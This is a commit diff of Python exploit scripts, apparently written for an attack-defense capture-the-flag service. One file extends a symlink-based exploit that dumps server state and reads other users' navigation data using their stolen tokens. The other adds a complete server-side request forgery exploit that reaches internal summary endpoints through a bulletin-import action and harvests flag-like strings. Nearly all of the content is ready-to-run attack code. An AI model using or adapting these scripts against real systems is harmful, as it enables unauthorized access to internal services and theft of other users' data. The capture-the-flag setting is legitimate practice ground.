Compare commits

..
2 changed files with 364 additions and 33 deletions

No files matched your search

+101 -33
View File
@@ -11,6 +11,7 @@ import sys
import tarfile
import tempfile
import time
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
from pathlib import Path
from urllib.error import HTTPError, URLError
from urllib.parse import quote, unquote, urlsplit, urlunsplit
@@ -36,6 +37,7 @@ CONTEXT_PATTERNS = {
"package_id": re.compile(r"package-[0-9a-f]{32}\Z"),
}
TOKEN_VALUE_PATTERN = re.compile(r"token-[0-9a-f]{32}", re.IGNORECASE)
FLAG_PATTERN = re.compile(r"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])")
STATE_DUMP_MARKER = "orbital-state-dump"
@@ -313,15 +315,28 @@ def dump_state(base: str, context) -> str:
context["token"],
state_dump_tar(context["flight_id"]),
)
rpc(
base,
"generate_report",
token=context["token"],
package_id=context["package_id"],
attachment="report.txt",
)
restore_needed = True
try:
try:
rpc(
base,
"generate_report",
token=context["token"],
package_id=context["package_id"],
attachment="report.txt",
)
except ExploitError as exc:
# These checks reject the package before extracting the symlink.
if "package not approved" in str(exc) or "unsafe package" in str(exc):
restore_needed = False
raise
# The first persist copies state into our navigation file. The second
# immediately replaces state.json with a regular file. Read the copy
# only after both writes, keeping the symlink window as short as possible.
trigger_persist(base, context)
trigger_persist(base, context)
restore_needed = False
result = rpc(
base,
"read_navigation",
@@ -334,10 +349,21 @@ def dump_state(base: str, context) -> str:
raise ExploitError("state dump: missing navigation")
return navigation
finally:
try:
trigger_persist(base, context)
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"state persistence cleanup: {exc}", file=sys.stderr)
if restore_needed:
# An ambiguous timeout may occur before the first write is handled.
# In that case one successful write copies state through the link;
# the next successful write is needed to replace the link itself.
confirmed = 0
for attempt in range(5):
try:
trigger_persist(base, context)
confirmed += 1
if confirmed == 2:
break
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"state persistence cleanup attempt {attempt + 1}: {exc}", file=sys.stderr)
if confirmed < 2:
raise ExploitError("state persistence cleanup not confirmed")
def state_payloads(state) -> list[str]:
@@ -376,6 +402,12 @@ def state_payloads(state) -> list[str]:
return values
def read_navigation_candidate(base: str, token: str, flight_id: str) -> str | None:
result = rpc(base, "read_navigation", token=token, flight_id=flight_id)
navigation = result.get("navigation") if isinstance(result, dict) else None
return navigation if isinstance(navigation, str) else None
def exploit_host_only(base: str, deadline: float) -> list[str]:
context = load_context(base)
if context is None:
@@ -409,34 +441,69 @@ def exploit_host_only(base: str, deadline: float) -> list[str]:
for token, owner in users.items():
if isinstance(token, str) and isinstance(owner, str):
owner_tokens.setdefault(owner, token)
checked = 0
known_flights = set(context.get("known_flights", []))
read_flights = set(context.get("read_flights", []))
candidates: list[tuple[int, str, str]] = []
if isinstance(flights, dict):
for flight_id, flight in flights.items():
if checked >= MAX_STATE_FLIGHTS or time.monotonic() >= deadline:
break
if not isinstance(flight_id, str) or not isinstance(flight, dict):
continue
if flight_id == context["flight_id"] or flight.get("geometry") == STATE_DUMP_MARKER:
continue
if flight_id in read_flights:
continue
token = owner_tokens.get(flight.get("owner"))
if not isinstance(token, str):
continue
checked += 1
try:
result = rpc(base, "read_navigation", token=token, flight_id=flight_id)
navigation = result.get("navigation") if isinstance(result, dict) else None
if isinstance(navigation, str):
try:
nested_state = json.loads(navigation)
except ValueError:
nested_state = None
state_keys = {"users", "ships", "messages", "flights", "packages"}
if isinstance(nested_state, dict) and state_keys.issubset(nested_state):
loot.extend(state_payloads(nested_state))
else:
loot.append(navigation)
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError):
continue
candidates.append((0 if flight_id not in known_flights else 1, flight_id, token))
candidates.sort(key=lambda item: item[0])
checked = 0
pending = {}
candidate_iter = iter(candidates[:MAX_STATE_FLIGHTS])
with ThreadPoolExecutor(max_workers=4) as pool:
while time.monotonic() < deadline:
while len(pending) < 4 and time.monotonic() < deadline:
try:
_, flight_id, token = next(candidate_iter)
except StopIteration:
break
pending[pool.submit(read_navigation_candidate, base, token, flight_id)] = flight_id
checked += 1
if not pending:
break
done, _ = wait(
pending, timeout=max(0.0, deadline - time.monotonic()),
return_when=FIRST_COMPLETED,
)
if not done:
break
for future in done:
flight_id = pending.pop(future)
try:
navigation = future.result()
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError):
continue
if navigation is None:
continue
read_flights.add(flight_id)
try:
nested_state = json.loads(navigation)
except ValueError:
nested_state = None
state_keys = {"users", "ships", "messages", "flights", "packages"}
if isinstance(nested_state, dict) and state_keys.issubset(nested_state):
loot.extend(state_payloads(nested_state))
else:
loot.append(navigation)
for future in pending:
future.cancel()
if isinstance(flights, dict):
context["known_flights"] = list(flights)
context["read_flights"] = list(read_flights.intersection(flights))
try:
save_context(base, context)
except OSError as exc:
print(f"state cache unavailable: {exc}", file=sys.stderr)
print(f"state dump navigation reads: {checked}", file=sys.stderr)
sanitized = (TOKEN_VALUE_PATTERN.sub("", item) for item in loot if item)
return list(dict.fromkeys(item for item in sanitized if item))
@@ -597,9 +664,10 @@ def main() -> int:
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"request failed: {exc}", file=sys.stderr)
return 1
for item in loot:
print(item, flush=True)
print(f"collected values: {len(loot)}", file=sys.stderr)
flags = sorted({match for item in loot for match in FLAG_PATTERN.findall(item)})
for flag in flags:
print(flag, flush=True)
print(f"collected flags: {len(flags)}", file=sys.stderr)
return 0
+263
View File
@@ -0,0 +1,263 @@
#!/usr/bin/env python3
from __future__ import annotations
import json
import os
import re
import signal
import sys
import time
from contextlib import contextmanager
from http.client import HTTPException
from urllib.error import HTTPError, URLError
from urllib.parse import unquote, urlsplit, urlunsplit
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
TARGET_SCHEME = "http"
SERVICE_PORT = 8086
INTERNAL_PORT = 8080
REQUEST_TIMEOUT = 1.5
RUN_TIMEOUT = 8.0
MAX_RESPONSE = 256 * 1024
MAX_HINT_LENGTH = 8192
MAX_SUMMARIES = 6
SUMMARY_PATTERN = re.compile(r"\bsummary-[0-9a-f]{32}\b", re.IGNORECASE)
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
INTERNAL_HOSTS = ("0.0.0.0", "0", "0000", "0x0")
class ExploitError(Exception):
pass
class HardDeadlineExceeded(Exception):
pass
class NoRedirects(HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, headers, newurl):
return None
OPENER = build_opener(ProxyHandler({}), NoRedirects())
def deadline_alarm(_signum, _frame):
raise HardDeadlineExceeded("run deadline exceeded")
@contextmanager
def hard_timeout(seconds: float):
if not hasattr(signal, "SIGALRM") or not hasattr(signal, "setitimer"):
yield
return
previous = signal.signal(signal.SIGALRM, deadline_alarm)
signal.setitimer(signal.ITIMER_REAL, seconds)
try:
yield
finally:
signal.setitimer(signal.ITIMER_REAL, 0)
signal.signal(signal.SIGALRM, previous)
def parse_target(target: str) -> tuple[str, str]:
raw = target.strip()
if not raw:
raise ValueError("empty target")
address, separator, encoded_hint = raw.partition("#")
hint = unquote(encoded_hint) if separator else os.environ.get("ORBITAL_HINT", "")
if not address:
raise ValueError("empty target address")
if len(hint) > MAX_HINT_LENGTH:
raise ValueError("checker hint is too large")
explicit_scheme = "://" in address
if not explicit_scheme:
authority = (
f"[{address}]"
if address.count(":") > 1 and not address.startswith("[")
else address
)
address = f"{TARGET_SCHEME}://{authority}"
parsed = urlsplit(address)
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
raise ValueError("expected an HTTP target")
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
raise ValueError("target must not include credentials or a path")
if parsed.query or parsed.fragment:
raise ValueError("target address must not include query or fragment")
port = parsed.port
if port is None:
port = (
443
if explicit_scheme and parsed.scheme == "https"
else 80 if explicit_scheme else SERVICE_PORT
)
if not 1 <= port <= 65535:
raise ValueError("invalid target port")
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
def read_bounded(response, deadline: float) -> bytes:
chunks = []
total = 0
while total <= MAX_RESPONSE:
if deadline - time.monotonic() <= 0:
raise TimeoutError("run deadline exceeded")
chunk = response.read(min(16 * 1024, MAX_RESPONSE + 1 - total))
if not chunk:
break
chunks.append(chunk)
total += len(chunk)
raw = b"".join(chunks)
if len(raw) > MAX_RESPONSE:
raise ValueError("response too large")
if deadline - time.monotonic() <= 0:
raise TimeoutError("run deadline exceeded")
return raw
def request(base: str, payload: bytes, deadline: float) -> tuple[int, bytes]:
remaining = deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError("run deadline exceeded")
req = Request(
base + "/rpc",
data=payload,
headers={
"Accept": "application/json",
"Content-Type": "application/json",
"User-Agent": "neo-orbital-summary-ssrf/1.0",
},
method="POST",
)
try:
with OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
return response.status, read_bounded(response, deadline)
except HTTPError as exc:
with exc:
return exc.code, read_bounded(exc, deadline)
def rpc(base: str, deadline: float, action: str, **fields):
payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
status, raw = request(base, payload, deadline)
try:
document = json.loads(raw)
except (TypeError, ValueError) as exc:
raise ExploitError(f"{action}: invalid response") from exc
if not isinstance(document, dict):
raise ExploitError(f"{action}: invalid response")
if status != 200 or document.get("ok") is not True:
raise ExploitError(f"{action}: request rejected (HTTP {status})")
return document.get("result")
def register(base: str, deadline: float) -> str:
result = rpc(base, deadline, "register")
auth = result.get("token") if isinstance(result, dict) else None
if not isinstance(auth, str):
raise ExploitError("register: missing token")
return auth
def import_summary(
base: str, auth: str, summary_id: str, deadline: float
) -> tuple[set[bytes] | None, int]:
attempts = 0
for internal_host in INTERNAL_HOSTS:
if deadline - time.monotonic() <= 0:
break
attempts += 1
try:
result = rpc(
base,
deadline,
"import_bulletin",
token=auth,
url=f"http://{internal_host}:{INTERNAL_PORT}/internal/summaries/{summary_id}",
)
except (
ExploitError,
HTTPError,
URLError,
TimeoutError,
HTTPException,
ValueError,
OSError,
):
continue
content = result.get("content") if isinstance(result, dict) else None
if not isinstance(content, str):
raise ExploitError("import_bulletin: missing content")
return set(FLAG_PATTERN.findall(content.encode())), attempts
return None, attempts
def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int, int]:
base, hint = parse_target(raw_target)
summary_ids = list(
dict.fromkeys(match.group(0).lower() for match in SUMMARY_PATTERN.finditer(hint))
)[:MAX_SUMMARIES]
if not summary_ids:
raise ValueError("checker hint with a summary id is required")
deadline = time.monotonic() + RUN_TIMEOUT
auth = register(base, deadline)
flags: set[str] = set()
processed = 0
attempts = 0
errors = 0
for summary_id in summary_ids:
if deadline - time.monotonic() <= 0:
break
found, request_count = import_summary(base, auth, summary_id, deadline)
attempts += request_count
if found is None:
errors += 1
continue
processed += 1
for candidate in sorted(flag.decode("ascii") for flag in found):
if candidate in flags:
continue
flags.add(candidate)
if emit is not None:
emit(candidate)
if processed == 0:
if deadline - time.monotonic() <= 0:
raise TimeoutError("run deadline exceeded")
if errors:
raise ExploitError("all summary imports failed")
return sorted(flags), processed, attempts, errors
def main() -> int:
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} HOST#SUMMARY_HINT", file=sys.stderr)
return 2
try:
with hard_timeout(RUN_TIMEOUT):
flags, processed, attempts, errors = run_exploit(
sys.argv[1], lambda candidate: print(candidate, flush=True)
)
except (
ExploitError,
HardDeadlineExceeded,
HTTPError,
URLError,
TimeoutError,
HTTPException,
ValueError,
OSError,
) as exc:
print(f"request failed: {exc}", file=sys.stderr)
return 1
print(
f"summaries={processed} attempts={attempts} errors={errors} flags={len(flags)}",
file=sys.stderr,
)
return 0
if __name__ == "__main__":
raise SystemExit(main())